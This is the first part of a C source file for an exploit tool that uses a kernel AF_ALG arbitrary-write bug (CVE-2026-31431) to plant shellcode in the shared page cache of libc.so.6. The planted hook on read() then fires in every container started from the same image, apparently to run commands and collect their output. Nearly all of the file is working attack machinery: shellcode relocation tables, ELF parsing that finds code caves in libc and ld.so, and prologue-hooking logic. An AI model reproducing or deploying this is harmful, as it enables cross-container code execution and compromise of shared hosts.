page_inject.c

/*
 * page_inject.c -- CVE-2026-31431 page-cache injector
 *
 * Static-linked driver that exploits CVE-2026-31431 (the AF_ALG
 * authencesn ESN-rotation 4-byte arbitrary write) to inject shellcode
 * into the page-cache pages of a target libc.so.6. Because Docker/
 * containerd back overlayfs lower-layer files with shared inodes, every
 * container instantiated from the same image shares the same physical
 * libc page cache; corrupting it from one container makes the hook fire
 * in every sibling container.
 *
 * Typical usage: run from the host with --root /proc/<pid>/root pointing
 * at a target container's mount namespace; the binary is statically
 * linked so its own libc isn't subject to the hook it installs.
 *
 * Discovery (per-libc, ELF-parsed at runtime):
 *   - read() symbol                  (hook target)
 *   - __libc_single_threaded         (emulated for OLD-cmpb prologues)
 *   - read()'s prologue kind         (cmpb / push+movsxd+xor / mov fs:)
 *   - .text inter-segment cave        (Zone C + Zone A in path A)
 *   - .hash section OR .eh_frame_hdr  (slot table + CMD + OUTPUT areas)
 *   - .bss end / Secure-RPC stub      (per-process key cache)
 *   - PT_INTERP / ld.so cave          (path B trampoline target)
 *   - libc GOT[_rtld_global]          (path B cross-library anchor)
 *
 * Two layouts are auto-selected at inject time:
 *   path A:  Zone C + Zone A in libc's .text cave (default; debian,
 *            fedora, arch, ubuntu 22.04).
 *   path B:  small (~36 B) trampoline in libc's cave + zone_c_ld + Zone A
 *            in ld.so's .text cave (when libc cave too small; ubuntu 24.04).
 * If neither layout fits, page_inject refuses cleanly without writing
 * anything to disk or page cache.
 *
 * Zone A (cve_write4) is fully position-independent -- no patching needed.
 *
 * Build (static; immune to its own hook):
 *   make            # via gen_arrays.sh + asm_bytecode.c
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <errno.h>
#include <elf.h>

#include "write_backend.h"
#include "rxrpc_write.h"
#include "dirtyfrag_write4.h"
#include "pintheft_write.h"

#include <linux/if_alg.h>

#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif
#ifndef ALG_SET_IV
#define ALG_SET_IV 2
#endif
#ifndef ALG_SET_OP
#define ALG_SET_OP 3
#endif
#ifndef ALG_SET_AEAD_ASSOCLEN
#define ALG_SET_AEAD_ASSOCLEN 4
#endif
#ifndef ALG_SET_AEAD_AUTHSIZE
#define ALG_SET_AEAD_AUTHSIZE 5
#endif
#ifndef ALG_OP_DECRYPT
#define ALG_OP_DECRYPT 0
#endif

/* -- Constants ---------------------------------------------------- */

#define DEFAULT_LIBC    "/usr/lib/x86_64-linux-gnu/libc.so.6"

#define ZONE_C_SIZE       693
#define ZONE_A_SIZE       606
#define ZONE_C_ALIGNED    ((ZONE_C_SIZE + 15) & ~15)
#define MIN_TEXT_CAVE     (ZONE_C_ALIGNED + ZONE_A_SIZE)

/* Path-B sizes -- must match the gen_arrays.sh summary. */
#define ZONE_C_LD_SIZE    690
#define TRAMPOLINE_SIZE    36
#define ZONE_C_LD_ALIGNED ((ZONE_C_LD_SIZE + 15) & ~15)
#define MIN_LD_CAVE       (ZONE_C_LD_ALIGNED + ZONE_A_SIZE)

#define HASH_HDR_SIZE     8
#define MAX_SLOTS       512
#define MONITOR_SECONDS 30
#define CMD_OPCODE_EXEC  1
#define CMD_KEY_DONE     0xFFFFFFFD
#define OUTPUT_MAX       0x2000
#define CMD_TIMEOUT_SHELL 30

static int verbose = 1;

/* Write-primitive backend selection (default: AF_ALG). */
enum write_backend_type g_write_backend = BACKEND_AF_ALG;

/* -- Dual injection path -- design notes ---------------------------
 *
 *  page_inject supports two layouts depending on libc's `.text` cave size:
 *
 *  Path A  (libc-only, default):
 *      Cave >= ZONE_C_ALIGNED + ZONE_A_SIZE  (~1310 B today)
 *      Zone C + Zone A both live in libc's `.text` cave; .hash holds the
 *      slot table + CMD + OUTPUT areas; the `read()` prologue jumps to
 *      Zone C directly. Everything is intra-libc RIP-relative.
 *
 *  Path B  (libc trampoline + ld.so payload):
 *      libc cave too small (e.g. ubuntu 24.04 / glibc 2.39 -> 711 B)
 *      A small trampoline (~37 B) lives in libc's `.text` cave and does the
 *      fast-path .bss-key gate; on the slow path it jumps to Zone C in
 *      ld.so's `.text` cave by computing ld.so's runtime base from libc's
 *      GOT slot for `_rtld_global` (a libc->ld.so import that resolves at
 *      load time to an absolute ld.so-side address). Zone A lives in ld.so
 *      next to Zone C; Zone C addresses libc-side data (slot table, CMD,
 *      OUTPUT, .bss key, read+N) via a base register seeded by the
 *      trampoline.
 *
 *  Anchor symbol selection (path B):
 *      We use `_rtld_global` -- a `GLIBC_PRIVATE`-versioned object that
 *      libc imports via `R_X86_64_GLOB_DAT` (verified across glibc 2.31
 *      -> 2.43). If a future distro ever drops it, fallback candidates in
 *      order of increasing risk are:
 *          1. `_rtld_global_ro`   -- same scheme, also exported by every
 *                                   ld.so we have measured.
 *          2. `__tls_get_addr`    -- a function symbol; would let the
 *                                   trampoline reach an executable rather
 *                                   than data offset; mostly the same
 *                                   relocation pattern (R_X86_64_JUMP_SLOT
 *                                   in libc's .rela.plt instead of .rela.dyn).
 *      We implement only `_rtld_global` today; the fallback symbols
 *      above are not implemented because no measured distro needs them.
 *      If a future distro fails the lookup, add `_rtld_global_ro` first.
 * ---------------------------------------------------------------- */

/* -- ld.so layout (only populated when path B is selected) ------- */

struct ld_layout {
    char     path[1024];                /* resolved host-side path to ld.so   */
    int      fd;                        /* O_RDONLY fd; -1 when unused        */

    uint64_t text_va;                   /* exec LOAD segment VA               */
    uint64_t text_foff;                 /* exec LOAD segment file offset      */
    uint64_t text_size;                 /* exec LOAD segment file size        */

    uint64_t cave_foff;                 /* inter-segment gap, 16-byte aligned */
    uint64_t cave_va;
    uint64_t cave_size;

    /* Set by decide_inject_path() when path B is committed. */
    uint64_t zone_c_ld_foff;
    uint64_t zone_c_ld_va;
    uint64_t zone_a_foff;
    uint64_t zone_a_va;

    /* In ld.so, LOAD segments have p_vaddr == p_offset, so a symbol's
     * st_value (a VA) is identical to its file offset. We track it as
     * a VA because the trampoline computes its delta as a VA-difference. */
    uint64_t rtld_global_va;
};

/* -- Libc layout -- discovered at runtime via ELF parsing --------- */

/* Slot-region kind -- where the slot table + CMD + OUTPUT areas live
 * inside libc. Modern glibc keeps the legacy `.hash` section (used as a
 * 16 KB cave in the read-only LOAD segment); arch's libc strips it and
 * we fall back to truncating the binary search table at the tail of
 * `.eh_frame_hdr` to free up the same kind of cave. */
enum slot_region_kind {
    SLOT_REGION_HASH = 0,
    SLOT_REGION_EH_FRAME_HDR,
};

/* read() prologue kind. Different glibc versions emit different opening
 * sequences; the injector must (a) recognise the pattern at discover
 * time, (b) emit the correct displaced-byte emulation in zone_c's
 * fast_path so single-threaded read() resumes correctly at read+N, and
 * (c) write the right original bytes back at unhook time.
 *
 *  PROLOGUE_OLD_CMPB
 *    [endbr64]
 *    cmpb $0x0, __libc_single_threaded(%rip)   ; 7 bytes
 *    jne  .Lthreaded                            ; 2 bytes
 *    ...
 *    glibc 2.36 (debian:bookworm) and 2.39 (ubuntu:24.04 / fedora:40).
 *    fast_path emulates the cmpb to set ZF for the original jne.
 *
 *  PROLOGUE_GLIBC243_PUSH_RBP
 *    [endbr64]
 *    push rbp                                   ; 1 byte
 *    movsxd rdi, edi                            ; 3 bytes
 *    xor r9d, r9d                               ; 3 bytes
 *    ...
 *    glibc 2.43 (archlinux). fast_path emulates the three displaced
 *    instructions byte-for-byte before jmp'ing to read+N. Total 7
 *    bytes of emulation; the 8th slot byte is a NOP filler.
 *
 *  PROLOGUE_TLS_FS
 *    [endbr64]
 *    mov eax, fs:[0x18]                         ; 8 bytes (64 8b 04 25 18 00 00 00)
 *    test eax, eax
 *    jne ...
 *    glibc 2.31 (debian:bullseye) and 2.35 (ubuntu:22.04). The
 *    8-byte mov fills the entire emulation slot; no NOP filler.
 *    The mov is NOT RIP-relative -- the FS-prefixed [disp32] form
 *    reads from absolute disp32 within %fs, so byte-copy is safe. */
enum read_prologue_kind {
    PROLOGUE_OLD_CMPB = 0,
    PROLOGUE_GLIBC243_PUSH_RBP,
    PROLOGUE_TLS_FS,
};

struct libc_layout {
    uint64_t read_va;
    uint64_t single_thr_va;

    uint64_t text_va;
    uint64_t text_foff;
    uint64_t text_size;

    uint64_t text_cave_va;
    uint64_t text_cave_foff;
    uint64_t text_cave_size;

    /* `.hash` metadata if present (otherwise zero -- slot region falls
     * back to .eh_frame_hdr). */
    uint64_t hash_va;
    uint64_t hash_foff;
    uint64_t hash_size;

    /* `.eh_frame_hdr` metadata. Populated whenever the section exists
     * (and is allocated), regardless of whether we use it for the slot
     * region or not. */
    uint64_t eh_hdr_va;
    uint64_t eh_hdr_foff;
    uint64_t eh_hdr_size;

    uint64_t bss_va;
    uint64_t bss_size;

    uint64_t cmd_va;
    uint64_t cmd_foff;
    uint64_t output_va;
    uint64_t output_foff;
    uint64_t output_size;

    uint64_t zone_c_va;
    uint64_t zone_c_foff;
    uint64_t zone_a_va;
    uint64_t zone_a_foff;
    uint64_t slot_start_va;
    uint64_t slot_start_foff;
    uint64_t slot_end_va;
    uint64_t bss_key_va;
    uint64_t read_foff;
    int      read_has_endbr;
    int      read_hook_len;
    enum read_prologue_kind prologue_kind;
    /* For PROLOGUE_TLS_FS: copy of the 8 bytes that make up the
     * `mov eax, fs:[disp32]` instruction, captured at discover time.
     * Used both to overlay the fast_path slot at inject time and to
     * restore read()'s prologue at unhook time. The disp32 within
     * these bytes is the absolute %fs displacement (NOT a RIP-rel
     * value), so byte-copying is faithful. */
    uint8_t  tls_mov_bytes[8];

    int slot_count;
    uint32_t *slot_baseline;    /* pre-injection slot values for baseline comparison */

    /* Slot region: where slot_start_va, cmd_va, output_va all live.
     * Either an offset into `.hash` (HASH kind) or the truncated tail
     * of `.eh_frame_hdr` (EH_FRAME_HDR kind). */
    enum slot_region_kind slot_region_kind;
    uint64_t slot_region_va;            /* first usable byte of the cave    */
    uint64_t slot_region_foff;
    uint64_t slot_region_size;          /* bytes from slot_region_va onward */

    /* For SLOT_REGION_EH_FRAME_HDR: the inject patches `fde_count` to
     * shrink the binary-search index so the freed tail is "officially"
     * not part of the FDE table. unhook restores the original count. */
    uint64_t fde_count_foff;            /* eh_hdr_foff + 8                 */
    uint32_t orig_fde_count;
    uint32_t new_fde_count;

    /* Path-B fields -- populated only when `path_b` is non-zero.
     * Path A leaves these zeroed and ignores them. */
    int      path_b;                    /* 0 = libc-only, 1 = ld.so split  */
    uint64_t trampoline_foff;           /* libc trampoline placement       */
    uint64_t trampoline_va;
    /* libc GOT slot for _rtld_global -- taken from libc's .rela.dyn
     * R_X86_64_GLOB_DAT entry. Stored as a VA (relocation r_offset). */
    uint64_t got_rtld_global_va;
    struct ld_layout ld;                /* dynamic linker layout (path B)  */
};

/* -- Zone C relocation table ------------------------------------
 *  Patch formula: disp32 = target_VA - (zone_c_VA + rip_off)   */

enum {
    TGT_ZONE_A,
    TGT_SINGLE_THR,
    TGT_READ_PLUS7,
    TGT_BSS_KEY,
    TGT_SLOT_START,
    TGT_SLOT_END,
    TGT_CMD_KEY,
    TGT_OUTPUT_BASE,
    TGT_COUNT
};

struct reloc {
    int off;
    int rip_off;
    int tgt;
};

static const struct reloc zone_c_relocs[] = {
    /* Offsets recomputed against the post-stage-7 zone_c.asm where
     * fast_path is 13 bytes (8-byte emulation slot + 5-byte jmp).
     * Verified via `nasm -l zone_c.asm`. */
    {   2,   7,  TGT_BSS_KEY      },  /* R0  cmp dword [rip+d], 0      */
    {  69,  73,  TGT_BSS_KEY      },  /* R3  mov [rip+d], r15d         */
    {  76,  80,  TGT_SLOT_START   },  /* R1  lea r14, [rip+d]          */
    {  83,  87,  TGT_SLOT_END     },  /* R2  lea r13, [rip+d]          */
    { 128, 132,  TGT_ZONE_A       },  /* R4  call zone_a (slot claim)  */
    { 174, 179,  TGT_SINGLE_THR   },  /* R5  cmp byte [rip+d], 0x00    */
    { 181, 185,  TGT_READ_PLUS7   },  /* R6  jmp read()+N (post-filler)*/
    { 260, 264,  TGT_SLOT_START   },  /* R12 lea r14 (exit-scan start) */
    { 267, 271,  TGT_SLOT_END     },  /* R13 lea r13 (exit-scan end)   */
    { 304, 308,  TGT_CMD_KEY      },  /* R7  lea rbp, [rip+d]          */
    { 409, 413,  TGT_OUTPUT_BASE  },  /* R8  lea r14, [rip+d]          */
    { 475, 479,  TGT_ZONE_A       },  /* R9  call zone_a (write output)*/
    { 568, 572,  TGT_CMD_KEY      },  /* R10 lea rdi, [rip+d] (done)   */
    { 576, 580,  TGT_ZONE_A       },  /* R11 call zone_a (signal done) */
};
#define NRELOCS (sizeof(zone_c_relocs) / sizeof(zone_c_relocs[0]))

/* -- Shellcode byte arrays (generated from .asm by gen_arrays.sh) -- */
/* Build with:  ./gen_arrays.sh          (writes asm_bytecode.c)     */
extern const uint8_t zone_c_template[ZONE_C_SIZE];
extern const uint8_t zone_a_code[ZONE_A_SIZE];
extern const uint8_t zone_c_ld_template[ZONE_C_LD_SIZE];
extern const uint8_t trampoline_template[TRAMPOLINE_SIZE];

/* -- zone_c_ld relocation table (path B) ------------------------
 *  rbp-relative entries (rip_off == 0): disp32 = libc target VA + extra
 *  ld-RIP-relative entries (rip_off != 0): disp32 = ld_zone_a_va
 *                                                 - (zone_c_ld_va + rip_off)
 *
 *  Offsets verified against `nasm -l` listing of zone_c_ld.asm.
 */
struct ld_reloc {
    int      off;       /* file offset of the disp32/imm32 in zone_c_ld */
    int      rip_off;   /* end-of-instruction offset for RIP-rel; 0 = rbp-rel */
    int      target;    /* TGT_LD_*                                    */
    int      extra;     /* additional offset (e.g. cmd_va + 4)         */
};

enum {
    TGT_LD_BSS_KEY,           /* libc bss_key_va                       */
    TGT_LD_SLOT_START,        /* libc slot_start_va                    */
    TGT_LD_SLOT_END,          /* libc slot_end_va                      */
    TGT_LD_ZONE_A,            /* ld.so zone_a_va (RIP-relative)        */
    TGT_LD_SINGLE_THR,        /* libc single_thr_va                    */
    TGT_LD_READ_PLUS_N,       /* libc read_va + hook_len               */
    TGT_LD_CMD,               /* libc cmd_va                           */
    TGT_LD_OUTPUT,            /* libc output_va                        */
    TGT_LD_COUNT
};

static const struct ld_reloc zone_c_ld_relocs[] = {
    /* off    rip_off  target              extra */
    {  0x3C,    0, TGT_LD_BSS_KEY,         0 },  /* .r3:  mov [rbp+disp], r15d */
    {  0x43,    0, TGT_LD_SLOT_START,      0 },  /* .r1:  lea r14, [rbp+disp]  */
    {  0x4A,    0, TGT_LD_SLOT_END,        0 },  /* .r2:  lea r13, [rbp+disp]  */
    {  0x77, 0x7B, TGT_LD_ZONE_A,          0 },  /* .r4:  call zone_a          */
    {  0xA5,    0, TGT_LD_SINGLE_THR,      0 },  /* .r5:  cmp byte [rbp+disp]  */
    {  0xAD,    0, TGT_LD_READ_PLUS_N,     0 },  /* .r6:  lea rax, [rbp+disp]  */
    {  0xFF,    0, TGT_LD_SLOT_START,      0 },  /* .r12: lea r14, [rbp+disp]  */
    { 0x106,    0, TGT_LD_SLOT_END,        0 },  /* .r13: lea r13, [rbp+disp]  */
    { 0x12A,    0, TGT_LD_CMD,             0 },  /* .r7a: mov eax, [rbp+disp]  */
    { 0x13E,    0, TGT_LD_CMD,             4 },  /* .r7b: mov eax, [rbp+disp+4]*/
    { 0x193,    0, TGT_LD_OUTPUT,          0 },  /* .r8:  lea r14, [rbp+disp]  */
    { 0x1D5,0x1D9, TGT_LD_ZONE_A,          0 },  /* .r9:  call zone_a          */
    { 0x232,    0, TGT_LD_CMD,             0 },  /* .r10: lea rdi, [rbp+disp]  */
    { 0x23A,0x23E, TGT_LD_ZONE_A,          0 },  /* .r11: call zone_a          */
    { 0x280,    0, TGT_LD_CMD,             8 },  /* .r7c: lea r10, [rbp+disp+8]*/
};
#define NRELOCS_LD (sizeof(zone_c_ld_relocs) / sizeof(zone_c_ld_relocs[0]))

/* -- ELF parsing helpers ---------------------------???-------------- */

static int pread_full(int fd, void *buf, size_t len, off_t off)
{
    ssize_t n = pread(fd, buf, len, off);
    return (n == (ssize_t)len) ? 0 : -1;
}

static int lookup_symbol(int fd,
                         uint64_t dynsym_off, uint64_t dynsym_sz,
                         uint64_t dynstr_off, uint64_t dynstr_sz,
                         const char *name, Elf64_Sym *out)
{
    Elf64_Sym *syms = malloc(dynsym_sz);
    if (!syms) return -1;
    if (pread_full(fd, syms, dynsym_sz, dynsym_off) < 0) {
        free(syms);
        return -1;
    }

    char *strs = malloc(dynstr_sz);
    if (!strs) { free(syms); return -1; }
    if (pread_full(fd, strs, dynstr_sz, dynstr_off) < 0) {
        free(strs); free(syms);
        return -1;
    }

    int count = dynsym_sz / sizeof(Elf64_Sym);
    int found = -1;

    for (int i = 0; i < count; i++) {
        if (syms[i].st_name == 0 || syms[i].st_name >= dynstr_sz)
            continue;
        if (syms[i].st_value == 0)
            continue;
        if (strcmp(strs + syms[i].st_name, name) == 0) {
            *out = syms[i];
            found = 0;
            break;
        }
    }

    free(strs);
    free(syms);
    return found;
}

/* Forward declarations: discover_layout calls into both the ld.so
 * probe and the path decision; their definitions live below for
 * narrative order. */
static int discover_ld_layout(const char *libc_path, int libc_fd,
                              struct libc_layout *L);
static int decide_inject_path(struct libc_layout *L);

/* -- Slot-region setup: .eh_frame_hdr fallback ----------------
 *
 *  When `.hash` is absent (e.g. arch-style libc), we carve the slot
 *  region out of the tail of `.eh_frame_hdr`. The trick: the unwinder
 *  reads `fde_count` (4 bytes at offset 8 of `.eh_frame_hdr`) to know
 *  how many entries the binary-search FDE table has, so by truncating
 *  that count we logically shrink the table -- the freed tail bytes
 *  become "ours" without any unwinder seeing stale FDEs.
 *
 *  The unwinder still works for IPs whose FDE used to live in the
 *  truncated tail -- it falls back to a linear scan of `.eh_frame`
 *  (LSB-spec-mandated behaviour when an IP isn't found in the binary
 *  search index). Slower for those IPs, still correct.
 *
 *  We free MIN_REGION_BYTES (12 KB) at the tail. Layout there:
 *      [slot table | page-align pad | cmd page (4 KB) | output (<=8 KB)]
 *  matching the existing `.hash`-based layout.
 */
/* Free this much at the tail. Sized for the worst-case alignment of
 *   slot_table (2 KB) + page-align pad (<=4 KB) + cmd page (4 KB) +
 *   output (4 KB minimum) + sub-page tail of .eh_frame_hdr (<=4 KB).
 * 16 KB leaves at least 4 KB usable for OUTPUT in every measured glibc
 * 2.36 / 2.39 / 2.43 layout. */
#define EH_HDR_MIN_REGION_BYTES (16 * 1024)
#define EH_HDR_HEADER_SIZE      12      /* version + 3 enc bytes + 4-byte ptr + 4-byte count */

static int setup_eh_hdr_region(int fd, struct libc_layout *L)
{
    if (L->eh_hdr_size < EH_HDR_MIN_REGION_BYTES + EH_HDR_HEADER_SIZE + 8) {
        fprintf(stderr,
                "[!] .eh_frame_hdr too small for slot region "
                "(%lu B; need %d)\n",
                (unsigned long)L->eh_hdr_size,
                EH_HDR_MIN_REGION_BYTES + EH_HDR_HEADER_SIZE + 8);
        return -1;
    }

    /* Derive the TRUE original fde_count from section size, not from the
     * live header field. The on-disk fde_count may already be truncated
     * by a previous inject we never unhooked from; reading it would let
     * a subsequent inject re-truncate from the truncated value, and the
     * unhook would then "restore" to the truncated value rather than
     * the genuine original. The section size is set at link time and is
     * never patched, so (eh_hdr_size - 12) / 8 is the canonical
     * "original FDE count" for the lifetime of this libc binary. */
    if (((L->eh_hdr_size - EH_HDR_HEADER_SIZE) % 8) != 0) {
        fprintf(stderr,
                "[!] .eh_frame_hdr: size %lu not 12 + 8*N\n",
                (unsigned long)L->eh_hdr_size);
        return -1;
    }
    uint32_t orig_count = (uint32_t)
        ((L->eh_hdr_size - EH_HDR_HEADER_SIZE) / 8);

    /* For diagnostic purposes, also peek at the live header field and
     * warn if it doesn't match the section-implied original. */
    uint32_t live_count = 0;
    pread_full(fd, &live_count, 4, L->eh_hdr_foff + 8);
    if (live_count != orig_count && verbose) {
        printf("    .eh_frame_hdr: live fde_count=%u differs from "
               "section-derived %u (assuming previous inject left this "
               "truncated; unhook will restore to %u)\n",
               live_count, orig_count, orig_count);
    }

    /* Round freed bytes up to 8 (FDE entries are 8 B each). */
    uint64_t free_bytes = (EH_HDR_MIN_REGION_BYTES + 7) & ~7ULL;
    uint32_t entries_to_remove = (uint32_t)(free_bytes / 8);
    if (entries_to_remove >= orig_count) {
        fprintf(stderr,
                "[!] .eh_frame_hdr: would truncate all %u FDEs\n", orig_count);
        return -1;
    }

    L->orig_fde_count   = orig_count;
    L->new_fde_count    = orig_count - entries_to_remove;
    L->fde_count_foff   = L->eh_hdr_foff + 8;

    uint64_t truncate_offset = (uint64_t)EH_HDR_HEADER_SIZE +
                               (uint64_t)L->new_fde_count * 8;
    L->slot_region_foff = L->eh_hdr_foff + truncate_offset;
    L->slot_region_va   = L->eh_hdr_va   + truncate_offset;
    L->slot_region_size = L->eh_hdr_size - truncate_offset;

    if (verbose) {
        printf("    .eh_frame_hdr cave  VA 0x%lx  file+0x%lx  "
               "size %lu B (truncated %u of %u FDEs; %lu B preserved)\n",
               (unsigned long)L->slot_region_va,
               (unsigned long)L->slot_region_foff,
               (unsigned long)L->slot_region_size,
               entries_to_remove, orig_count,
               (unsigned long)truncate_offset);
    }
    return 0;
}

/* -- discover_layout -- parse ELF, resolve symbols, find caves ---- */

static int discover_layout(const char *libc_path, int fd, struct libc_layout *L)
{
    memset(L, 0, sizeof(*L));

    /* -- 1. ELF header --------------------------------------- */
    Elf64_Ehdr ehdr;
    if (pread_full(fd, &ehdr, sizeof(ehdr), 0) < 0) {
        fprintf(stderr, "[!] Failed to read ELF header\n");
        return -1;
    }
    if (memcmp(ehdr.e_ident, ELFMAG, SELFMAG) != 0 ||
        ehdr.e_ident[EI_CLASS] != ELFCLASS64 ||
        ehdr.e_ident[EI_DATA] != ELFDATA2LSB ||
        ehdr.e_type != ET_DYN) {
        fprintf(stderr, "[!] Not a valid ELF64 little-endian shared library\n");
        return -1;
    }
    if (ehdr.e_shoff == 0 || ehdr.e_shnum == 0) {
        fprintf(stderr, "[!] No section headers in ELF\n");
        return -1;
    }

    /* -- 2. Section headers ---------------------------------- */
    size_t sh_total = (size_t)ehdr.e_shnum * ehdr.e_shentsize;
    Elf64_Shdr *shdrs = malloc(sh_total);
    if (!shdrs) return -1;
    if (pread_full(fd, shdrs, sh_total, ehdr.e_shoff) < 0) {
        fprintf(stderr, "[!] Failed to read section headers\n");
        free(shdrs);
        return -1;
    }

    /* -- 3. Section string table ----------------------------- */
    if (ehdr.e_shstrndx >= ehdr.e_shnum) {
        fprintf(stderr, "[!] Invalid e_shstrndx\n");
        free(shdrs);
        return -1;
    }
    Elf64_Shdr *shstr_sh = &shdrs[ehdr.e_shstrndx];
    char *shstrtab = malloc(shstr_sh->sh_size);
    if (!shstrtab) { free(shdrs); return -1; }
    if (pread_full(fd, shstrtab, shstr_sh->sh_size, shstr_sh->sh_offset) < 0) {
        free(shstrtab); free(shdrs);
        return -1;
    }

    /* -- 4. Find sections by name ---------------------------- */
    uint64_t dynsym_off = 0, dynsym_sz = 0;
    uint64_t dynstr_off = 0, dynstr_sz = 0;
    int have_text = 0, have_hash = 0, have_bss = 0;
    int have_dynsym = 0, have_dynstr = 0;
    int have_eh_hdr = 0;

    for (int i = 0; i < ehdr.e_shnum; i++) {
        if (shdrs[i].sh_name >= shstr_sh->sh_size)
            continue;
        const char *n = shstrtab + shdrs[i].sh_name;

        if (strcmp(n, ".text") == 0) {
            L->text_va   = shdrs[i].sh_addr;
            L->text_foff = shdrs[i].sh_offset;
            L->text_size = shdrs[i].sh_size;
            have_text = 1;
        } else if (strcmp(n, ".hash") == 0) {
            L->hash_va   = shdrs[i].sh_addr;
            L->hash_foff = shdrs[i].sh_offset;
            L->hash_size = shdrs[i].sh_size;
            have_hash = 1;
        } else if (strcmp(n, ".eh_frame_hdr") == 0 &&
                   (shdrs[i].sh_flags & SHF_ALLOC)) {
            /* Only useful if it's actually mapped at runtime -- the slot
             * region must be reachable via [rbp+offset] in the hook. */
            L->eh_hdr_va   = shdrs[i].sh_addr;
            L->eh_hdr_foff = shdrs[i].sh_offset;
            L->eh_hdr_size = shdrs[i].sh_size;
            have_eh_hdr = 1;
        } else if (strcmp(n, ".bss") == 0) {
            L->bss_va   = shdrs[i].sh_addr;
            L->bss_size = shdrs[i].sh_size;
            have_bss = 1;
        } else if (strcmp(n, ".dynsym") == 0) {
            dynsym_off = shdrs[i].sh_offset;
            dynsym_sz  = shdrs[i].sh_size;
            have_dynsym = 1;
        } else if (strcmp(n, ".dynstr") == 0) {
            dynstr_off = shdrs[i].sh_offset;
            dynstr_sz  = shdrs[i].sh_size;
            have_dynstr = 1;
        }
    }

    free(shstrtab);
    free(shdrs);

    if (!have_text)    { fprintf(stderr, "[!] .text not found\n");    return -1; }
    if (!have_bss)     { fprintf(stderr, "[!] .bss not found\n");     return -1; }
    if (!have_dynsym)  { fprintf(stderr, "[!] .dynsym not found\n");  return -1; }
    if (!have_dynstr)  { fprintf(stderr, "[!] .dynstr not found\n");  return -1; }
    /* Slot region is either .hash (preferred) or .eh_frame_hdr (fallback);
     * we require AT LEAST one. */
    if (!have_hash && !have_eh_hdr) {
        fprintf(stderr, "[!] neither .hash nor .eh_frame_hdr present -- "
                        "no place for slot table\n");
        return -1;
    }

    /* Pick the slot region. .hash is preferred -- entirely dormant on
     * modern glibc since ld.so uses .gnu.hash for symbol lookups, no
     * need to patch any header field. .eh_frame_hdr fallback truncates
     * the FDE binary-search table to free up the tail bytes.
     *
     * The PAGE_INJECT_PREFER_EH_HDR=1 env var forces the .eh_frame_hdr
     * path even when .hash is present -- a debug knob that lets us
     * exercise the fallback end-to-end on glibc-2.36/2.39 distros
     * (which do have a recognised read() prologue). */
    int prefer_eh = 0;
    {
        const char *env = getenv("PAGE_INJECT_PREFER_EH_HDR");
        if (env && env[0] != '\0' && env[0] != '0')
            prefer_eh = 1;
    }

    if (have_hash && !prefer_eh) {
        L->slot_region_kind = SLOT_REGION_HASH;
        L->slot_region_va   = L->hash_va   + HASH_HDR_SIZE;
        L->slot_region_foff = L->hash_foff + HASH_HDR_SIZE;
        L->slot_region_size = L->hash_size - HASH_HDR_SIZE;
    } else if (have_eh_hdr) {
        L->slot_region_kind = SLOT_REGION_EH_FRAME_HDR;
        if (verbose && prefer_eh && have_hash) {
            printf("[*] PAGE_INJECT_PREFER_EH_HDR set -- "
                   "ignoring .hash, using .eh_frame_hdr fallback\n");
        }
        if (setup_eh_hdr_region(fd, L) < 0)
            return -1;
    } else {
        /* prefer_eh forced but no .eh_frame_hdr -- fall back to .hash */
        L->slot_region_kind = SLOT_REGION_HASH;
        L->slot_region_va   = L->hash_va   + HASH_HDR_SIZE;
        L->slot_region_foff = L->hash_foff + HASH_HDR_SIZE;
        L->slot_region_size = L->hash_size - HASH_HDR_SIZE;
    }

    if (verbose) {
        printf("[*] Sections:\n");
        printf("    .text    VA 0x%lx  size 0x%lx  file+0x%lx\n",
               (unsigned long)L->text_va, (unsigned long)L->text_size,
               (unsigned long)L->text_foff);
        if (have_hash) {
            printf("    .hash    VA 0x%lx  size 0x%lx  file+0x%lx  (dead-data cave)\n",
                   (unsigned long)L->hash_va, (unsigned long)L->hash_size,
                   (unsigned long)L->hash_foff);
        } else {
            printf("    .hash    (absent -- will fall back to .eh_frame_hdr)\n");
        }
        if (have_eh_hdr) {
            printf("    .eh_frame_hdr VA 0x%lx  size 0x%lx  file+0x%lx\n",
                   (unsigned long)L->eh_hdr_va,
                   (unsigned long)L->eh_hdr_size,
                   (unsigned long)L->eh_hdr_foff);
        }
        printf("    .bss     VA 0x%lx  size 0x%lx\n",
               (unsigned long)L->bss_va, (unsigned long)L->bss_size);
    }

    /* -- 5. Symbol resolution (like ld.so) ------------------- */
    Elf64_Sym sym;

    /* read() -- hook target */
    if (lookup_symbol(fd, dynsym_off, dynsym_sz, dynstr_off, dynstr_sz,
                      "read", &sym) < 0) {
        fprintf(stderr, "[!] Symbol 'read' not found in .dynsym\n");
        return -1;
    }
    if (ELF64_ST_TYPE(sym.st_info) == STT_GNU_IFUNC) {
        fprintf(stderr, "[!] read() is GNU_IFUNC -- not supported\n");
        return -1;
    }
    L->read_va = sym.st_value;

    /* Verify read_va is within .text */
    if (L->read_va < L->text_va ||
        L->read_va >= L->text_va + L->text_size) {
        fprintf(stderr, "[!] read() VA 0x%lx outside .text [0x%lx..0x%lx)\n",
                (unsigned long)L->read_va,
                (unsigned long)L->text_va,
                (unsigned long)(L->text_va + L->text_size));
        return -1;
    }
    L->read_foff = L->text_foff + (L->read_va - L->text_va);

    /* __libc_single_threaded -- try .dynsym first */
    int have_st_sym = 0;
    if (lookup_symbol(fd, dynsym_off, dynsym_sz, dynstr_off, dynstr_sz,
                      "__libc_single_threaded", &sym) == 0) {
        L->single_thr_va = sym.st_value;
        have_st_sym = 1;
    }

    /* Dead Secure-RPC pointer -- hijacked as per-process inode key cache */
    int have_bss_key_sym = 0;
    if (lookup_symbol(fd, dynsym_off, dynsym_sz, dynstr_off, dynstr_sz,
                      "__key_encryptsession_pk_LOCAL", &sym) == 0) {
        L->bss_key_va = sym.st_value;
        have_bss_key_sym = 1;
    }

    if (verbose) {
        printf("\n[*] Symbols (resolved from .dynsym):\n");
        printf("    read                   = 0x%lx\n", (unsigned long)L->read_va);
        if (have_st_sym)
            printf("    __libc_single_threaded = 0x%lx\n",
                   (unsigned long)L->single_thr_va);
        if (have_bss_key_sym)
            printf("    __key_encrypt...LOCAL  = 0x%lx  (bss key)\n",
                   (unsigned long)L->bss_key_va);
    }

